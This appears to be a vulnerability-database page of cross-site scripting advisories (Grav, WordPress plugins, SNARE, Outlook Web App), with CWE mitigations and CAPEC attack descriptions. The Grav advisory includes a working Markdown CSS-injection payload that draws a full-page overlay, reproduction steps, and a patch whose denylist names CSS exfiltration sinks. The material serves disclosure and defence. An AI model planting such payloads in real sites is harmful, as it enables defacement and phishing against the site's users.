background:white` covers the page until the offending content is removed by hand on the server.\n\nThe stored payload reaches every user who views the editor\u0027s page \u2014 including administrators previewing pending changes.\n\n## Proof of concept\n\nA deterministic end-to-end PoC against a real Grav install ships with the finding (`repro.sh`). Steps:\n\n1. Log in as an editor (`admin.pages` + `admin.pages.update`, no `admin.super`).\n2. Upload a benign image to a target page.\n3. Save the page with the Markdown payload `![alt](image?style=position:fixed;top:0;left:0;width:100vw;height:100vh;background:white;z-index:9999)`.\n4. Visit the public page; observe the `\u003cimg style=\"\u2026\"\u003e` carrying the unsanitised CSS.\n\n## Suggested fix\n\nApply the same denylist + identifier-shape gate to `style()` that `isSafeAttributeName()` enforces for `attribute()`:\n\n```diff\n public function style($style)\n {\n+    if (!is_string($style) || !self::isSafeStyleValue($style)) {\n+        return $this;\n+    }\n     $this-\u003estyleAttributes[] = rtrim($style, \u0027;\u0027) . \u0027;\u0027;\n     return $this;\n }\n\n+/**\n+ * Editor-controlled style values arrive via Markdown `?style=\u2026` and reach\n+ * the rendered `\u003cimg style=\"\u2026\"\u003e` attribute verbatim. Limit to a conservative\n+ * set of CSS that themes legitimately use from content (sizing, float,\n+ * margin, etc.) and reject anything that opens a phishing-overlay or\n+ * data-exfil primitive. Matches the spirit of the attribute() denylist\n+ * from GHSA-r7fx-8g49-7hhr \u2014 same trust boundary, sibling sink.\n+ */\n+private static function isSafeStyleValue(string $css): bool\n+{\n+    $css = strtolower($css);\n+    // Deny: phishing-overlay positioning, CSS-selector exfil sinks\n+    // (background/content url(...)), expression() (legacy IE),\n+    // -moz-binding (legacy FF), behavior: url() (IE).\n+    $deny = [\u0027position:\u0027, \u0027@import\u0027, \u0027url(\u0027, \u0027expression(\u0027,\n+             \u0027-moz-binding\u0027, \u0027behavior:\u0027, \u0027z-index:\u0027, \u0027fixed\u0027, \u0027absolute\u0027];\n+    foreach ($deny as $needle) {\n+        if (str_contains($css, $needle)) {\n+            return false;\n+        }\n+    }\n+    return (bool) preg_match(\u0027/^[A-Za-z0-9 :;%.,\\-#\\/]*$/\u0027, $css);\n+}\n```\n\nAlternatively, deprecate the Markdown `?style=\u2026` action entirely \u2014 themes can still set inline styles from PHP, but accepting attacker-controlled CSS from page content was always a footgun.\n\nDefense in depth: extend `Security::detectXss()`\u0027s `html_inline_styles` rule to also match Markdown-form `?style=` query parameters in `data[content]` on save.\n\n## References\n\n- Original advisory: GHSA-r7fx-8g49-7hhr\n- Fix commit: `5a12f9be8` (`system/src/Grav/Common/Media/Traits/MediaObjectTrait.php`)\n- Unpatched code: `system/src/Grav/Common/Media/Traits/MediaObjectTrait.php` lines 519\u2013524\n- Project security policy: `SECURITY.md` (trust-boundary severity model)",
  "id": "GHSA-pmf8-g7c8-7v54",
  "modified": "2026-06-18T14:49:19Z",
  "published": "2026-06-18T14:49:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-pmf8-g7c8-7v54"
    },
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/commit/5a12f9be8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Grav: Stored CSS injection via Markdown image ?style=\u2026 reaches MediaObjectTrait::style() \u2014 incomplete patch of GHSA-r7fx-8g49-7hhr"
}

GHSA-PMF9-7J3X-XFC2

Vulnerability from github – Published: 2022-05-14 03:49 – Updated: 2024-09-30 12:30
VLAI
Details

The ILLID Share This Image plugin before 1.04 for WordPress has XSS via the sharer.php url parameter.

Severity
6.1 (Medium)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2017-18015"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-01-02T03:29:00Z",
    "severity": "MODERATE"
  },
  "details": "The ILLID Share This Image plugin before 1.04 for WordPress has XSS via the sharer.php url parameter.",
  "id": "GHSA-pmf9-7j3x-xfc2",
  "modified": "2024-09-30T12:30:31Z",
  "published": "2022-05-14T03:49:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18015"
    },
    {
      "type": "WEB",
      "url": "https://packetstormsecurity.com/files/145464/WordPress-Share-This-Image-1.03-Cross-Site-Scripting.html"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/share-this-image/#developers"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/support/topic/share-this-image-1-03-cross-site-scripting"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/8991"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMFJ-879M-MX7Q

Vulnerability from github – Published: 2025-03-03 15:31 – Updated: 2026-04-01 18:33
VLAI
Details

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in NotFound Cobwebo URL Plugin allows Reflected XSS. This issue affects Cobwebo URL Plugin: from n/a through 1.0.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-23688"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-03T14:15:45Z",
    "severity": "HIGH"
  },
  "details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in NotFound Cobwebo URL Plugin allows Reflected XSS. This issue affects Cobwebo URL Plugin: from n/a through 1.0.",
  "id": "GHSA-pmfj-879m-mx7q",
  "modified": "2026-04-01T18:33:52Z",
  "published": "2025-03-03T15:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23688"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/cobwebo-url/vulnerability/wordpress-cobwebo-url-plugin-plugin-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMFM-MW3H-M9VC

Vulnerability from github – Published: 2022-05-17 04:43 – Updated: 2022-05-17 04:43
VLAI
Details

Cross-site scripting (XSS) vulnerability in the events page in the System iNtrusion Analysis and Reporting Environment (SNARE) for Linux agent before 1.7.0 allows remote attackers to inject arbitrary web script or HTML via a logged shell command.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2011-5249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-05-14T19:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in the events page in the System iNtrusion Analysis and Reporting Environment (SNARE) for Linux agent before 1.7.0 allows remote attackers to inject arbitrary web script or HTML via a logged shell command.",
  "id": "GHSA-pmfm-mw3h-m9vc",
  "modified": "2022-05-17T04:43:59Z",
  "published": "2022-05-17T04:43:59Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2011-5249"
    },
    {
      "type": "WEB",
      "url": "http://archives.neohapsis.com/archives/bugtraq/2012-12/0077.html"
    },
    {
      "type": "WEB",
      "url": "http://rpmfind.net/linux/RPM/sourceforge/s/sn/snare/Snare%20for%20Linux/1.7.0/SnareLinux-1.7.0-0.i386.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PMFP-VJ4P-H7QC

Vulnerability from github – Published: 2025-09-26 09:31 – Updated: 2026-04-01 18:36
VLAI
Details

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in fkrauthan wp-mpdf allows Stored XSS. This issue affects wp-mpdf: from n/a through 3.9.1.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-60040"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-26T09:15:33Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027) vulnerability in fkrauthan wp-mpdf allows Stored XSS. This issue affects wp-mpdf: from n/a through 3.9.1.",
  "id": "GHSA-pmfp-vj4p-h7qc",
  "modified": "2026-04-01T18:36:20Z",
  "published": "2025-09-26T09:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-60040"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-mpdf/vulnerability/wordpress-wp-mpdf-plugin-3-9-1-cross-site-scripting-xss-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PMFR-Q8WM-2HWF

Vulnerability from github – Published: 2022-05-14 02:29 – Updated: 2022-05-14 02:29
VLAI
Details

Cross-site scripting (XSS) vulnerability in Outlook Web App (OWA) in Microsoft Exchange Server 2013 SP1 and Cumulative Update 7 allows remote attackers to inject arbitrary web script or HTML via a crafted URL, aka "ExchangeDLP Cross Site Scripting Vulnerability."

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-1629"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2015-03-11T10:59:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting (XSS) vulnerability in Outlook Web App (OWA) in Microsoft Exchange Server 2013 SP1 and Cumulative Update 7 allows remote attackers to inject arbitrary web script or HTML via a crafted URL, aka \"ExchangeDLP Cross Site Scripting Vulnerability.\"",
  "id": "GHSA-pmfr-q8wm-2hwf",
  "modified": "2022-05-14T02:29:17Z",
  "published": "2022-05-14T02:29:17Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1629"
    },
    {
      "type": "WEB",
      "url": "https://docs.microsoft.com/en-us/security-updates/securitybulletins/2015/ms15-026"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1031900"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PMFX-M292-FC24

Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06
VLAI
Details

Cross-site scripting vulnerability in WordPress Popular Posts 5.3.2 and earlier allows a remote authenticated attacker to inject an arbitrary script via unspecified vectors.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20746"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-28T01:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Cross-site scripting vulnerability in WordPress Popular Posts 5.3.2 and earlier allows a remote authenticated attacker to inject an arbitrary script via unspecified vectors.",
  "id": "GHSA-pmfx-m292-fc24",
  "modified": "2022-05-24T19:06:27Z",
  "published": "2022-05-24T19:06:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20746"
    },
    {
      "type": "WEB",
      "url": "https://cabrerahector.com"
    },
    {
      "type": "WEB",
      "url": "https://cabrerahector.com/wordpress/wordpress-popular-posts-5-3-improved-php-8-support-retina-display-support-and-more/#minor-updates-and-hotfixes"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN63066062/index.html"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/plugins/wordpress-popular-posts"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}
Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
Mitigation
Implementation Architecture and Design
  • Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies.
  • For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters.
  • Parts of the same output document may require different encodings, which will vary depending on whether the output is in the:
  • etc. Note that HTML Entity Encoding is only appropriate for the HTML body.
  • Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
  • HTML body
  • Element attributes (such as src="XYZ")
  • URIs
  • JavaScript sections
  • Cascading Style Sheets and style property
Mitigation MIT-6
Architecture and Design Implementation

Strategy: Attack Surface Reduction

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-27
Architecture and Design

Strategy: Parameterization

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.

Mitigation MIT-30.1
Implementation

Strategy: Output Encoding

  • Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.
  • The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
Mitigation MIT-43
Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Mitigation MIT-31
Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.
  • Note that proper output encoding, escaping, and quoting is the most effective solution for preventing XSS, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent XSS, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, in a chat application, the heart emoticon ("<3") would likely pass the validation step, since it is commonly used. However, it cannot be directly inserted into the web page because it contains the "<" character, which would need to be escaped or otherwise handled. In this case, stripping the "<" might reduce the risk of XSS, but it would produce incorrect behavior because the emoticon would not be recorded. This might seem to be a minor inconvenience, but it would be more important in a mathematical forum that wants to represent inequalities.
  • Even if you make a mistake in your validation (such as forgetting one out of 100 input fields), appropriate encoding is still likely to protect you from injection-based attacks. As long as it is not done in isolation, input validation is still a useful technique, since it may significantly reduce your attack surface, allow you to detect some attacks, and provide other security benefits that proper encoding does not address.
  • Ensure that you perform input validation at well-defined interfaces within the application. This will help protect the application even if a component is reused or moved elsewhere.
Mitigation MIT-21
Architecture and Design

Strategy: Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

Mitigation MIT-29
Operation

Strategy: Firewall

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].

Mitigation MIT-16
Operation Implementation

Strategy: Environment Hardening

When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CAPEC-209: XSS Using MIME Type Mismatch

An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.

CAPEC-588: DOM-Based XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.

CAPEC-591: Reflected XSS

This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.

CAPEC-592: Stored XSS

An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.

CAPEC-63: Cross-Site Scripting (XSS)

An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.

← Back to the CWE list